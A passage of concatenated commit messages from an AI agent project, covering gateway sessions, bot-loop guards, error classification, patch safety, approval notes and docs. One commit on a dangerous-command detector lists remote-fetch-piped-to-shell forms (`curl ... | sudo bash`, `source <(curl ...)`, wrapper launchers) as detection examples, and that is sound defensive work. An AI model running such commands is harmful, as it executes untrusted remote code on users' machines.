showed is off screen, the poll also reads session.active_list, which reports
'waiting'.
useMainApp is over its size cap; the poll's count/title patch moves to liveSessions.ts and the
background-session watch becomes its own hook.
Greptile on #148880:
- Background questions are skipped: on the shared gateway /new (and a switch) away from a busy
  session detached this view's subscription, and with no viewer left the owner answers clarify,
  sudo, secret and vault requests as unanswered at once. The view now keeps the subscription of a
  session it leaves mid-turn; an idle switch still detaches as before.
- Returning erases deferred questions: the channel re-delivers open_requests before the activation
  resolves (another session still on screen, so the card is deferred) and the activation's reset
  clears what was open. hydrateSharedPrompts now re-delivers open_requests on both transports
  after the reset, and a replayed request for another session is deferred like a live one.
- Notices use an old focus: a session.active_list read that resolves after the poll effect ended
  or the focus moved is dropped without advancing the watch.
- Fast turns finish without notices: the handoff itself marks the left session shown and busy.
Greptile on #148880 (Some waiting sessions stay silent): the status came from shared controls only,
so a turn blocked on a clarify batch, sudo, secret or vault prompt (session_server_requests) read
working, and the TUI never announced a background session waiting on one.
test_runtime_status_running_pid_validates_live_gateway_record fakes PID 12345 as
alive but left _read_process_cmdline real. When a real process holds PID 12345 on
the host (busy CI runners reach five-digit PIDs), its live command line is not a
gateway's, so _record_matches_live_gateway_pid correctly returns False and the
test sees None. Seen on PR 149206's Python tests (2/3) shard, attempt and retry.

Reproduced deterministically on origin/main in a PID namespace with a `sleep`
parked on PID 12345 (red), green with the stub; the production check is right,
only the test's isolation was incomplete.
(cherry picked from commit b21f2e9fdc45335c55d200c2812f895d81ec28fd, #137037;
conflicts resolved onto main: ALLOW_BOTS moved to the Mattermost gateway_env AUTHZ
entry, status suppression moved to gateway/run_turn_progress.py)
Widens #137037 from Mattermost to the whole class (#137027):

- Runtime notices never reach a bot peer: every busy-path reply (ack, redirect,
  drain), lifecycle/status and credits notices, tool progress, interim and thinking
  bubbles, the long-running heartbeat, the auto-reset notice, and the runtime failure
  copy ("not processed", retry hints, generic failure apology) on a failed or empty
  turn. The model's own reply is still delivered.
- Chain rules in gateway.bot_loop_guard (config.yaml): a human message starts a chain,
  each bot message after it is one hop, max_hops (default 4) caps them, a bot repeating
  the same text in one chain is dropped, and with bot_replies_expect_reply false (the
  default) a bot answering the reply this bot just gave it starts no turn. A bot
  message also counts as not expecting a reply, so a silence marker ends it quietly.
- Bot authorship everywhere it is knowable: a generic per-adapter bot_users opt-in
  (config.yaml platform extra) for platforms whose events carry no bot flag,
  Mattermost props.from_bot, QQ guild author.bot.
- Bot Mode message_agent: agent/bot_chain.py owns a per-session hop count carried in
  the delivery's author envelope (runtime-written, parse_turn_author keeps it), refuses
  sends past the same max_hops and identical repeated asks, sends a reply to the bot
  that messaged this turn notify-only (expects_reply false, no wake), and refuses a
  message back to a bot whose reply said it needs no answer. tools/bot_mode_dm.py gets
  only the gate call and the wake flag (LANE dm owns that file; same wake names as #144789).
Invariant tests (red on 71736c9f: 6 failed + chain module missing; human
controls pass) for every runtime-notice egress and both chain lanes, config
defaults for max_hops / bot_replies_expect_reply, and the user docs.
The session authority re-enters _handle_message to run a committed row, so the
chain check saw its own hash and dropped every bot turn as a duplicate (found by
the live Telegram stand-in leg). Skip it under executing_admission.
Review round on #148903 (Greptile 4467193888..4467194077):

- Bot Mode gate (agent/bot_chain.py, tools/bot_mode_dm_chain.py) runs once per
  message_agent call before any transport, on #144789's code. Recipients are keyed
  by the author id their turns carry (bot:default for @hermes, bot:<conn>/<profile>
  for relay rows, the peer's bot:<host>/<profile> or peer:<name>/<agent>).
- Every call inside a bot-authored turn is one more hop; a person's turn sends at 1.
- A definite no-send (offline relay target, refused admission) releases its ask
  and hop; queued/ambiguous keep them.
- A reply to the turn's sender reuses #144789's notify-only path (marker +
  wake="none"); the receiver reads the marker from the text, so it survives the
  Desktop relay, which rebuilds the author. The parallel expects_reply author field
  is gone.
- Forks (_turn_origin) neither reset nor advance the chain; the chain is bound
  after compression recovery and follows a session id change (rotation carry and
  per-agent rebinding).
- gateway.bot_loop_guard.enabled: false switches the Bot Mode rules off too.
- Gateway: gateway/bot_peer_notices.automatic_notices_allowed is the one policy
  at every runtime-notice egress (platform notices incl. delegation failure,
  inactivity warning, hygiene, background failure, approval timeout, command
  acks, context-ref refusals, STT echo, status/progress lanes).
- A bot may end in silence even when it addressed us (reply_expected=True).
- reply_to_reply keys on a reply this bot DELIVERED (note_reply), not on admission.
- Tests split by owner: tests/agent/test_bot_chain.py, tests/tools/test_bot_mode_dm_chain.py,
  gateway ingress stays; config keys covered through the real config.yaml loader.
  Each finding's test fails with its guard removed (mutant run).
Mock sources in the notice and approval suites carry a MagicMock is_bot; SessionSource.is_bot is a bool.
A large paste collapses to a [[ … [N lines] … ]] chip, and until now the
user could neither see nor change what was behind it, and the sent message
showed only the chip.

Composer: Ctrl+P expands the chip under the cursor (or the last one) back
into ordinary editable text; the composer shows a window of rows that
follows the cursor so a 60-line paste never pushes the caret off screen.
Ctrl+P again, or Enter, folds the span back into a chip whose payload is
the text as edited, so what the model receives is the edited full text,
through the same expandTokens path as before.

Transcript: a sent user row keeps showing the chip and gets one accordion
per paste ("Pasted text #1 · 60 lines"). Click toggles one; Ctrl+P with no
chip in the composer toggles them all. Payloads ride from submit to the
row through a small FIFO keyed by chip label, so a busy-time row painted
later still gets its own payload.
Ctrl+O/P/T become a chord table; the composer viewport math and the
Ctrl+P hint move out of ComposerPane, and the transcript paste sections
own their own null case, so no function grows past its value on main.
Review fixes on the paste expand/sections feature:

- Folding an opened paste puts its token back at its own position among
  same-label tokens, so two pastes whose chips look the same (same first and
  last lines and line count, different middles) still expand to their own
  bodies on submit. Before, the folded token was appended and expandTokens
  swapped the two bodies in what the model received.
- A paste made while the cursor is inside an expanded paste joins it as plain
  text, and a span that holds another chip is never folded into a token, so
  the model never receives a nested chip label in place of its content.
- Sent-paste sections are keyed by the exact text the model gets (the same
  text whoever paints the user row holds: submit, local queue, or the
  authority starting a busy-time admission), not a process-wide label FIFO,
  so a row can never show another message's body. Bounded by entry count and
  total size; the newest entry always stays.
- Opening or folding a paste places the cursor at the paste's end instead of
  the end of the whole draft.
- The composer viewport and Ctrl+P follow the caret (the moving end of a
  selection), not the selection's lower bound.
vLLM and other text-only OpenAI-compatible hosts reject a request whose
history carries an image with HTTP 400 "<model-id> is not a multimodal
model". The phrase was missing from _IMAGE_REJECTION_PHRASES, so the
model was never marked image-rejecting, every retry re-sent the image
and failed identically, and the session stayed wedged.

Adds the phrase and turns the observed-body xfail in
tests/agent/test_error_classifier_observed.py (keyed on this PR) into a
passing regression test.
Review finding (P2, recover_before_classification): the rejection phrases are
matched anywhere in the 4xx body, and some bodies echo the request back
(pydantic input_value=..., proxy echoes). A user asking whether a model "is
not a multimodal model" could get a vision model marked image-rejecting by an
unrelated 400, stripping every later image until /new, plus a wasted retry.

The mark (and its retry) now requires an image part in the failed request;
otherwise the error falls through to normal handling. Applies to every phrase
in _IMAGE_REJECTION_PHRASES, not only the new one.
Byte-limited gateways reject an oversize request body with HTTP 400 (or a
status-less re-wrap) in wordings the exact 413 phrase list misses:
"RequestSize(bytes): N, Limit(bytes): M", Novita's "request body too large,
must be less than 20MB" (tagged INVALID_REQUEST_BODY, so it fell to
format_error) and Z.AI's "Request size exceeds the limit of {0}" (caught
by the token-overflow "exceeds the limit" rule). An image-heavy session,
large in bytes but small in tokens, then never recovered.

_is_byte_size_limit_message() needs a body/payload/request-size subject
plus an overflow signal, lowercases its own input, and never matches a
response-scoped subject. It runs on the 400 path ahead of the
invalid-body and overflow rules, and on the message path after the head
rules, routing to the existing payload_too_large compression recovery.
Review should-fix: `_is_byte_size_limit_message` matched token caps that use
byte wording, e.g. GitHub Models / Azure AI Inference "Request body too large
for gpt-4.1 model. Max size: 8000 tokens." and "Payload size exceeds maximum
context length of 32768 tokens", and sent them to payload_too_large, whose
recovery never adopts the quoted limit. A message naming tokens is no longer a
byte cap, so these keep main's classification.

Also require the overflow verb to follow the size subject, so
"request size parameter page_size exceeds the maximum of 100" stays a
format_error instead of a body-size cap.
Review finding (BearHuddleston, 4473380964): the bare 'content length' guard
always passed for OpenAI/Anthropic-shaped 400s, because str(error) embeds the
parsed body and splitting on '_' turned 'invalid_request_error' / 'request_id'
into the word 'request'. Keep '_' inside words so only a genuinely named
request/bytes subject qualifies; the field-length control
('tools[0].description content length exceeds maximum allowed') fails fast
again in every envelope.
Review note (BearHuddleston, optional): 400 and status-less byte caps now reach
_recover_payload_too_large, so its status line drops the hardcoded '(413)'.
OpenRouter's catalog publishes "-1" for variable-priced routes such as
openrouter/auto. _pricing_entry_from_metadata parsed it as a real rate,
so one million tokens booked -$2,000,000, and state.db rollups went
negative. A negative rate now reads as unknown (debug log names the
field), so an all-sentinel entry yields no pricing and a half-sentinel
one yields an unknown total instead of an under-count. "-0" folds to 0
and genuine zero (free) rates are unchanged.
Review should-fix: a negative per-request `request` rate was dropped to None,
which reads as "no per-request fee", so a catalog entry with valid token rates
and request "-1" priced as estimated without the fee (an under-count). It now
makes the whole entry unknown, like the prompt/completion sentinels.

NaN rates raised InvalidOperation in estimate_usage_cost and Infinity booked an
infinite estimated cost; the same normaliser now rejects non-finite values.
Models sometimes paste old_string straight from read_file output, which
prefixes every line with `N|`. The file has no such prefixes, so every
strategy misses and the edit fails.

When the chain finds nothing, an old_string whose every non-blank line
carries a strictly consecutive `N|` gutter (two or more lines) is
stripped and retried once. Guards keep it from rewriting the wrong text:
- skipped when the file itself has gutter-shaped lines;
- only the exact/normalizing strategies may match the stripped text,
  never block_anchor/context_aware;
- new_string with the gutter on some lines but not others is refused
  instead of writing `N|` into the file;
- the strategy name stays a real STRATEGIES entry (boundary note and
  edit metrics keep working) and a correction note tells the model.
Review finding 1: the gutter recovery ran only after block_anchor/context_aware,
which accept a `41|`-prefixed paste of ordinary code, so a paste whose new_string
also carried the gutter wrote the prefixes into the file and reported success.
The precise strategies now run on the raw text first (a file that really holds
`N|` text still matches as before); a gutter-shaped old_string is then matched
only on its stripped form and never reaches the similarity tier raw.

Review finding 2: deleting down to one line left new_string with a single
numbered line, below the two-line floor, and the refusal claimed mixed
prefixes. Once old_string qualifies, one numbered new_string line is enough,
and the error text names both real causes.
Review finding: a paste of only blank gutter lines (`2|\n3|`) stripped to
"\n" and, with replace_all, rewrote every line break in the file. Apply the
whitespace-only anchor guard to the stripped text too.
Review finding: a single `42|code` paste skipped recovery (it needed two
numbered lines) and reached the context_aware tier, which wrote `42|` into
the file. One numbered line now qualifies, but only line_trimmed may match
its stripped text, so `2|4` can never land inside `a = 4`; a miss gets the
gutter error instead of a similarity guess.
A V4A patch can name the same file twice under different spellings
(`dup.txt` and `./dup.txt`, or relative and absolute). Validation keyed
its overlay by the raw string, so the second op validated against the
untouched on-disk file while apply ran it against the first op's
result: validation passed, the first write landed, the second failed,
and the "atomic" patch left a partial write. Host backends were already
covered by patch_tool rewriting headers to resolved paths; sandbox and
remote backends (docker, ssh, modal) were not.

The overlay is now keyed lexically per backend file (normpath against
the backend cwd; case folded only for Windows-shaped paths, since a
POSIX backend's case sensitivity is not knowable from the parser). A
second op on an alias now validates against the first op's simulated
result, so a conflicting edit is refused before any write, while
sequential edits to one file and the Delete-then-Add rewrite idiom keep
working under any spelling.
Review finding 1: the overlay key collapsed '..' lexically, but the kernel
resolves '..' after following symlinks, so sub/link/../f.txt (link pointing
into real/) is real/f.txt, a different file. Merging the two keys caused a new
partial write and a false refusal. POSIX keys now drop only '.' segments and
duplicate slashes after the cwd join; '..' stays as written.

Review finding 2: Windows-shaped paths were case-folded on any backend, but
on a POSIX backend C:/A.txt and C:/a.txt are two files. ntpath folding now
applies only to a Windows backend: a local env on a Windows host, or a backend
whose cwd is a drive path.
Review finding (unsupportedpastels MAJOR, Bear 4473458162): Update a.txt then Update a.txt/ (or a.txt/.) validated the second hunk against the first edit, then apply wrote "first" and failed to open the directory-only path. The key now keeps a trailing-directory marker, restoring the no-write refusal.
Review nit (Bear 4473458147): the overlay key came from the raw header while ShellFileOperations._expand_path rewrites ~ to the backend HOME and a host path under host_cwd to host_cwd_mount before every read/write. _overlay_key now runs the same expansion, so <host_cwd>/a.txt and a.txt share a key (refused, no partial write) and ~/x.txt vs ./~/x.txt stay two files.
The subprocess HOME contract resets HOME for the backend shell, so monkeypatching the test
process HOME made the assertion depend on the runner (red on CI: /home/runner).
A flagged command that a prior user decision covers (a command_allowlist
entry, an 'always' approval, an 'approve for session' answer) ran with no
trace of why. The guard result now carries `pre_approved`: one entry per
finding with its own scope ('allowlist' + the matching rule, 'permanent', or
'session'), and the terminal tool turns it into the existing `approval` note.

Decisions are unchanged: provenance is built only after the same
session/permanent check passed, using the same alias lookups. Clean commands
and yolo / approvals.mode=off / unattended passes keep the bare
{"approved": True, "message": None} result.
Review finding: under approvals.mode off, check_dangerous_command returned
pre_approved for a grant-covered command. Mirror check_all_command_guards:
mode off bypasses right after the floors, before allowlist/provenance.
Review finding: after an 'always' answer whose command_allowlist entry the
operator deletes, the note credited an 'approve for session' answer never
given. Both 'session' and 'always' answers session-approve their keys, so the
note now says 'an approval the user gave earlier in this session'.
Review finding (still open): the label reread the permanent store after the
acceptance check, so a grant revoked in between was reported as a session
answer. _approval_scope reads both stores once under the lock; the guards
decide and label from that one snapshot.
Feishu already rendered exec approvals and update prompts as interactive
cards, but the clarify tool fell back to the base numbered-text prompt and
finite-choice slash commands (/reasoning, /fast, usage-limit switch) fell
back to text status cards. This implements the generic adapter contracts
from BasePlatformAdapter instead of a Feishu-only path:

- send_clarify(): multiple-choice questions become a card with one numbered
  button per option plus "Other (type answer)"; a tap answers through
  resolve_gateway_clarify and the callback response settles the card inline
  for every client; "Other" calls mark_awaiting_text. Open-ended questions
  use the base text prompt. Answers come from the pending clarify entry, so
  a tap after a timeout or /new reports the prompt expired.
- retire_clarify_card(): the gateway's hook for a clarify that ended without
  a tap (timeout, reset, superseding prose, typed answer) PATCHes the card
  button-less; the card is a shared card (update_multi) so the update
  reaches every recipient.
- send_choice_picker(): one-tap picker card; the tap settles the card and
  runs on_choice_selected on the adapter loop, then sends its confirmation.
- Every click passes the approval path's _validate_card_action (operator
  authorization incl. the gateway pairing check, callback-vs-card chat
  match); state pops are first-writer-wins, so a double or stale tap is
  refused.

Behaviour lives in plugins/platforms/feishu/adapter_choice_cards.py (mixin);
adapter.py stays at main's length (card-action routing became a table).
New platform.feishu.clarify/picker strings in all 17 locales, reusing each
locale's existing Telegram/Discord wording.
Review finding (MAJOR, webhook transport): _handle_webhook_request turned the whole payload into SimpleNamespaces, so action.value failed the dict route check and the settled card was dropped by the fixed {code:0} reply. card.action.trigger now keeps the button value a dict and returns the callback card as the HTTP body; token/signature checks still run first.
Review nit (hint_multi): the hint offers "your own answer" but typed prose was rejected and cancelled the clarify. The card now calls mark_awaiting_text like the base text prompt.
Review nits: snapshot _choice_picker_state before pruning (the SDK callback thread pops concurrently); send and settle the picker with config.update_multi so a group settle reaches everyone; a one-line title (usage-limit offer) lists the full choice labels as body instead of repeating the header.
The host-side read in resolve_image_source used Path.read_bytes(), which
buffers the whole file before _finalize checks the ingest cap, so pointing
vision_analyze at a multi-GB file (or one whose st_size under-reports)
allocated all of it first. _read_host_bytes_bounded() rejects an honestly
oversized file from stat without opening it, and otherwise reads at most
cap+1 bytes, the same bound the in-sandbox exec-read already applies with
head -c.

The local/sandbox/data: ingest cap moves from 50 MiB to 250 MiB (binary
MiB, matching every other *_BYTES cap in tools/: N * 1024 * 1024). HTTP
downloads keep their own 50 MiB stream cap in vision_tools.
Review finding (P2, _resolve_container_fallback): raising the shared ingest
cap to 250 MiB also raised the sandbox exec-read, which returns the file as
base64 on stdout and peaks near 4x the file in this process (200 MiB file ->
+800 MiB RSS). _MAX_INGEST_BYTES is back to main's 50 MiB for the sandbox and
data: paths; host-file reads (bounded during the read) use the new
_MAX_HOST_READ_BYTES = 250 MiB, which _finalize also uses as the ceiling.

Also fixes the gateway/media_fetch.py comment (P3) that claimed its 50 MB
fetch cap mirrors the ingest cap.
Finding: the 250 MiB host budget also reaches cached videos, which are always
refused later. Videos are never downscaled and video_analyze refuses over
50 MB of base64, so a permitted=('video',) host read now keeps _MAX_INGEST_BYTES
and a 50-250 MiB cached video fails at the stat instead of being read, copied
and base64-encoded before the same refusal.
Finding: fh.read(cap + 1) reserves 250 MiB for every host read.
BufferedReader.read(n) preallocates n bytes, so a 10 KB screenshot raised
MemoryError under RLIMIT_AS / strict overcommit. The first read now asks for
st_size + 1; when st_size under-reports, the rest streams in 1 MiB chunks and
stops past the cap.
A request the caller gives up on (asyncio.wait_for timeout, or the pull/push
diagnostics race cancelling the loser) left the server computing the answer and
blocking requests queued behind it. The client now writes $/cancelRequest for
the abandoned id; the server's late answer to that id is dropped because the id
is no longer pending.

Live (pyright-langserver 1.1.x, documentSymbol on a 3000-def file abandoned at
1 ms): base -> pyright returns the full result for the abandoned id;
head -> pyright replies -32800 RequestCancelled. In both, the follow-up hover
(id 2) resolves with its own answer and the client stays running.
_load_mcp_config interpolated only config.yaml entries and merged portable
(plugin mcp.json) servers raw. The first connect re-renders, so it worked,
but every transport rebuild calls _refresh_remote_config, which compares the
running (rendered) headers with the raw ${VAR} from the load, sees a changed
definition, adopts the literal placeholder and parks the server with
"${VAR} in url/headers is not set". A plugin remote server with header auth
therefore never survived a retry or reconnect.
Adds Alibaba's Wan 2.7 to FAL_FAMILIES: fal-ai/wan/v2.7/{text,image}-to-video.
1080p/720p, integer duration 2-15s, negative prompts, seed, native auto audio
(no generate_audio key), i2v drops aspect_ratio (schema omits it).
Schema verified against fal.ai llms.txt + OpenAPI. $0.10/s (720p), $0.15/s (1080p).
Integer duration clamped to 2..15, aspect_ratio on t2v only, seed and
negative_prompt on both endpoints, no audio toggle key.
Summaries shed qualifier words first, so "I suspect X" either hardens into
"X" (a fact the resumed agent acts on) or drops out entirely. The summarizer
prompt now asks for each uncertain claim as an explicit labelled line
("UNVERIFIED: <claim> — <basis>") under a new "## Unverified / Working
Hypotheses" section, on both the first-compaction and iterative-update paths.

The text lives in the new agent/context_compressor_prompt_rules.py sibling
(which also takes _today_for_prompt off the facade); the facade only
interpolates it. Summarizer prompt only: system prompt, cached
prefix and the persisted handoff prefix are unchanged. Cost: +288 chars per
summary call (~+79 prompt tokens measured live), down from +756 in the
first version of this change.
Freeform requests mix timing with work ("every morning at 9, check X").
When the model copies that cadence into the stored prompt, the run-time
agent re-reads it as an instruction (waits, re-schedules, checks the
clock). One clause in the prompt field description now says the prompt
holds the work only and timing goes in 'schedule'.

Schema growth: +10 o200k tokens on cronjob_manage (1814 -> 1824).
`hermes --cpu-profile PATH ...` profiles the process from argument parsing to
exit and writes PATH (pstats) plus PATH.txt (top 80 functions by cumulative
time). A relative PATH goes under the active profile's logs/profiles/.

- Enabled in _prepare_agent_startup (every parsed launch: fast chat path, full
  parser, -z) plus the Termux TUI fast path, which skips it.
- -z/--oneshot exits through os._exit (atexit skipped on purpose), so
  _exit_after_oneshot writes the profile explicitly.
- No env var: the flag is the only switch.
- main.py stays at its size on main: _dashboard_validate_serve_args moved to
  main_dashboard.py to offset the added lines.
Review finding: every gateway exit ends in os._exit via
_exit_after_graceful_shutdown, which skips the atexit writer, so
`hermes --cpu-profile p.prof gateway run` profiled the whole life and
wrote nothing. Call write_cpu_profile as a best-effort step before the
log drain (no-op when profiling is off). Net-zero lines in run.py.
Review nit: keeps _HOLDER_VALUE_FLAGS_FALLBACK in step with the
parser fallback for trees where the parser cannot import.
--version and the deferred Termux classic-chat launch parsed --cpu-profile but
never reached _prepare_agent_startup, so no profile was written. Profiling now
starts right after each entry path parses argv (main, fast chat, Termux CLI,
Termux TUI), before it branches; the Termux interactive branch keeps its lazy
agent startup.

Review: "--version and the deferred Termux classic-chat path accept
--cpu-profile but never enable it".
exec skips atexit, so relaunch() (/update, sessions browse -> resume) and the
named-profile dashboard reroute dropped the profile on POSIX. Both now write it
right before exec; the Windows branches already exit through atexit.

Review: "A process that leaves through exec drops its profile".
The pipe-remote-to-shell rule only matched a bare shell name right after the
pipe, so `curl ... | sudo bash`, `| /bin/sh`, `| env -i zsh`, `| timeout 60 bash`,
`|& bash`, `| busybox sh`, `| tee >(sh)`, `| bash.exe` and `| "/usr/bin/fish"`
ran without approval.

The sink now allows launcher words (sudo/doas/env/exec/command/nohup/nice/time/
timeout/stdbuf/busybox, path-qualified, with options, option values and
VAR=value tokens) before a path-qualified, quoted or .exe shell, plus `|&` and
`>(...)`. Launcher tokens use disjoint classes inside atomic/possessive groups,
so the scan is linear and `sudo -u bash cat` reads `bash` as the user. Also
flags `source <(curl ...)` / `. <(curl ...)` at command position.
Review follow-up on the widened pipe-remote-to-shell rule:

- Quoted prose (commit messages, echo text, PR titles) is masked before the
  sink check, like the other prose-sensitive rules; shell carriers (bash -c,
  eval) still scan raw because their quoted argument is code. Lookup/list
  modes (command -v, sudo -l / --list) are not execution.
- Each launcher gets its own table of flags that take a separate value, so a
  bare flag (time -p, command -p, exec -a x, timeout -s KILL, stdbuf -o L,
  sudo -iu root) no longer swallows the shell name. busybox ash is covered.
- The rule is a small matcher: find the first curl/wget, then try the sink
  only at each later pipe or process substitution. The old leading `.*`
  rescanned the tail from every fetch word (quadratic): 28 KB of repeated
  fetch pipes took 4.8 s on main, 0.68 s now.
Security re-review follow-up on 15d56a4e20f:

- P1: masking quoted text for the whole rule hid fetch-to-shell payloads
  handed to carriers outside the eval/sh/bash list (su -c, ssh host, xargs
  sh -c, docker exec, find -exec ...). The matcher now runs main's original
  bare-shell sink on the RAW text first, so nothing main flagged is lost;
  only the widened launcher/path/quoted sink scans quote-masked text.
- P2: `sudo -pl bash` / `-ul` / `-Dl` read as list mode; the `l` there is the
  value of -p/-u/-D and bash runs. Lookup mode now needs `l` as a bare flag.
- P2: `env -S STRING` runs STRING; -S is no longer a value-swallowing flag.
  `env -a NAME` (argv0) added; timeout durations accept infinity, 1e3, .5m.
- P3: a backtick right after the shell name ends the token.
A backtick ending the shell token flagged README heredocs and PR bodies that quote an install
one-liner in backticks. Main never caught backtick substitution either, so the ending is dropped.
Second re-review follow-up.
Review finding (BearHuddleston): test_wrapper_chain_does_not_backtrack passed with every
possessive/atomic group removed. Adds a two-parse chain (env -u a=1 x24) that takes ~50 s on
that mutant and well under the 3 s bound on the real grammar.
Review finding (BearHuddleston): DANGEROUS_PATTERNS_COMPILED swaps in _PipeRemoteToShellMatcher
for this description, so the row string only feeds the legacy approval-key alias.
Review findings (BearHuddleston): `curl -f x || sudo bash fallback.sh` prompted where main stayed
quiet (the widened scan read `||` as a pipe), and `| setsid -w bash` / `| ionice -c3 bash` ran a
piped script unflagged. The widened sink now takes its own operator regex that skips `||`; main's
raw bare-shell sink keeps the old operator, so `|| bash` keeps main's verdict. setsid and ionice
join the launcher table (ionice with its valued flags).

Probe over 3,063 generated commands vs the previous head: 267 verdicts go quiet (all `|| <launcher>
<shell>` or-lists), 360 become flagged (all setsid/ionice); nothing else moves.
An active impersonation campaign (hermes-agent.icu, HERMES-TOKEN GitHub
mass-mention spam — issues #87068, #87133, #87155) is targeting users and
contributors. Add a getting-started page listing the only official domains,
what is NOT official (lookalike domains, tokens, mass-mention shortlinks,
credit-offer emails), and what to do with suspicious messages. Registered
in sidebars.ts.
The page called five addresses the "only" official ones, but Desktop
packages, Desktop updates, Hermes-Setup and the Termux APT repository are
served from hermes-assets.nousresearch.com, so a reader following the page
would distrust a genuine download. It also labelled install.sh for Termux,
which the README and Termux guide say not to use there.

- State the rule: nousresearch.com and its subdomains; list the ones Hermes
  uses (docs, assets, portal, inference API, website) with what each serves.
- Add the Discord invite to the account list (README/docs-site form).
- Point Termux and Nix at their own official routes; drop Termux from the
  install.sh comment.
- Replace "any other domain containing hermes" with the subdomain rule plus a
  lookalike-suffix example, so a future Nous subdomain is not called a scam.
- Drop sidebar_position: sidebars.ts orders the category explicitly.
Review finding: the "anywhere else is untrusted" rule disowned two
install routes our own docs use: the Docker Hub nousresearch/hermes-agent
image (published by docker.yml) and install.ps1 fetched from
raw.githubusercontent.com/NousResearch/hermes-agent (windows-native.md).
List both, name the NousResearch GitHub org, and scope the "not
nousresearch.com" bullet to exclude the accounts listed above.
The reference said "/save | Save the current conversation" and listed /save
as CLI-only. On main /save takes <json|md|html> [filename] [redact] in the
CLI, TUI, Desktop and messaging gateway (hermes_cli/commands.py registers it
without cli_only).

- CLI table: formats and aliases, redact, where the file lands (always on
  the user's machine; Desktop uses a save dialog), bare /save behaviour.
- Messaging table: new /save row (file sent to the chat as a document).
- Notes: drop /save from the CLI-only list.
- Same changes in the zh-Hans copy.
redact is always the last word, after the optional filename; the table cell
now says so with /save md notes.md redact (EN + zh-Hans).
TUI and Desktop fall back to session.save when the gateway lacks
session.export; that writes default-named JSON on the gateway host.
The per-provider `language: ""` comments in config_defaults.py,
cli-config.yaml.example and the voice-mode docs said blank means
auto-detect. Since bc997a36a8 made stt.language default to "en", a
blank provider value inherits that, so users following the comment got
English transcripts of non-English audio (#120100). Correct the text
to the real resolution order; no behaviour change.

Reported-by: Baophan00 (PR #120130)
Discord already binds its approval view to the tools.approval request id
(4f86e97791, 50f57a131f) and the runner passes ExecApprovalPrompt.request_id
since cfed2ca71f. Every other native-button surface still resolved by
session key alone, FIFO: when the request a card was rendered for had
already settled (timeout, typed /approve), a press on that card resolved
the NEXT pending approval in the session, one the user had not seen.

Telegram, Slack, Feishu, Matrix, WhatsApp Cloud, Teams and the relay
adapter now remember prompt.request_id with the card and resolve through
tools.approval.resolve_gateway_approval_card, which targets only that
request. A card sent without an id keeps the FIFO behaviour.
An outside adapter following the guide kept the answer-the-oldest bug, and one using the new
helper drew a private-import warning at admission. Review follow-up.
Review nit (BearHuddleston): the request-binding test drove 3 of the 7
adapters. Each new stale-card case fails when only its adapter is reverted
to origin/main.

Co-authored-by: BearHuddleston <196404565+BearHuddleston@users.noreply.github.com>
Review minor (unsupportedpastels): Matrix ignored a stale card's reaction
silently; it now retires the card and posts platform.matrix.approval.expired,
the same path the local deadline already takes.
A TUI attached with HERMES_TUI_GATEWAY_URL to a listener that is not a
session authority (an older or remote gateway) fell back to the legacy
session.save RPC for every /save. That RPC ignores the format, filename
and redact arguments and writes default-named, unredacted JSON on the
gateway host, so `/save md notes.md redact` silently produced a raw JSON
copy, secrets included, on another machine.

Match the CLI (_save_on_older_gateway) and Desktop (saveLegacyRefused):
only a plain /save (json) may use the legacy RPC, and its notice now says
the file is raw JSON on the gateway host. A redact flag, a filename or a
non-JSON format is refused with a message naming why and what to do.
The /save help line now lists the arguments.
The manage_connections MCP card asked the user to Install / Enable / Authorize
a server by name only. Each MCP target now carries a backend-built `launch`
line ({kind: stdio|remote, target}) in connection.request: the catalog
manifest's transport for install, the configured mcp_servers entry for
enable/authorize. The card renders it under the row as plain text
("Runs: npx -y ...", "Connects to: https://...") until the row resolves.

The line is scrubbed in the backend (tools/connectors/mcp_launch.py): values
of secret-named flags (--api-key=..., --token ...), credential query params
and URL userinfo, long opaque URL path segments, then the standard egress
redaction; control characters are flattened and the text is capped at 400
chars after scrubbing. The env map and headers are never part of it. The
model's tool result drops the field.

i18n: launchCommand / launchRemote in all nine locales, _keys.desktop.json
regenerated. Gateway contract regenerated.
A joined command line read `node /srv/my file.js` as two arguments. Quote
any argument with whitespace (shlex) so the consent line is unambiguous.
The consent card exists so the user approves what will run, so hiding execution is worse than
showing a secret. Drop the 400-char middle cut, the shape-based blob/opaque-path/short-flag masking
and the shape-based redactor pass; mask only values whose own name says they are secret (long
flags, KEY=VALUE, auth/cookie/api-key headers, userinfo password, secret-named query values).
Escape combining marks and U+FFFC. Remove the duplicated constants and unused _mask_url_path.
The backend no longer truncates, so a very long command scrolls (max-h-40, overflow-y-auto) with
every argument reachable without hover. The card test now asserts a dangerous middle arg is shown.
Second security re-review: `--token -c x` hid the short flag that runs (P1: hiding execution is
worse than showing a secret), and `-eGITHUB_TOKEN=...` / java `-Dapi.token=...` showed the value
because any arg starting with `-` skipped the KEY=VALUE check (P2).
Bear P1 "A secret-looking assignment can hide the program the user is being
asked to run": a KEY=VALUE, secret-flag, header or URL-userinfo value is now
masked only when it is plain data (no line break, shell metacharacter,
bracket or quote), and the program given to an interpreter's inline flag
(sh -c, python -c, node -e/--eval, perl -e, ...) is never masked. `sh -c
'GITHUB_TOKEN=x; curl ...'`, `python -c GITHUB_TOKEN=print(731)` and
`-H 'Authorization:\n/bin/true'` now show whole.

unsupportedpastels MAJOR "significant spaces and empty arguments are lost":
each argv word (and cwd) is shell-quoted when whitespace, a quote, backslash,
shell metacharacter or emptiness would change how it reads, and the line is no
longer whitespace-collapsed, so shlex.split(line) == argv. The card keeps the
spaces with whitespace-pre-wrap.
Three defects an adversarial review found in the previous masking round:

1. Interpreter latch: any later arg whose basename matched the (over-broad) interpreter pattern
   (ssh, publish, a --mode r value) made every following -c/-e/-p count as inline code, so the
   named secret after it was shown. Interpreter status is now argv[0] only (or the effective
   command resolved past wrappers), with a precise interpreter name list; a secret behind
   docker run --name ssh -e GITHUB_TOKEN=x, node server.js -e API_KEY=x, etc. masks again.
2. The "plain value only" rule showed real passwords containing shell metacharacters
   (--password=Pa$$w0rd!, -e DB_PASSWORD=x$y, ?token=a(b), Authorization: Bearer ab{c}).
   Named-secret values (flags, -e/--env, headers, URL userinfo/query) are masked whatever they
   hold; the plain-value check stays only on a bare KEY=VALUE, where it tells an interpreter's
   inline code from an env var.
3. Readback: a control/invisible arg rendered unquoted, so shlex read it wrong and a real newline
   collided with the literal text \n. Such args are now bash $'...' words (escapes doubled), so a
   real newline is distinct from \n and no hidden code point is shown raw.

Pre-existing, left per the review: a userinfo password holding a raw / # ? (an invalid URL) is
shown, because the authority splits on the first /.
Gemini answers a blocked prompt with HTTP 200, promptFeedback.blockReason
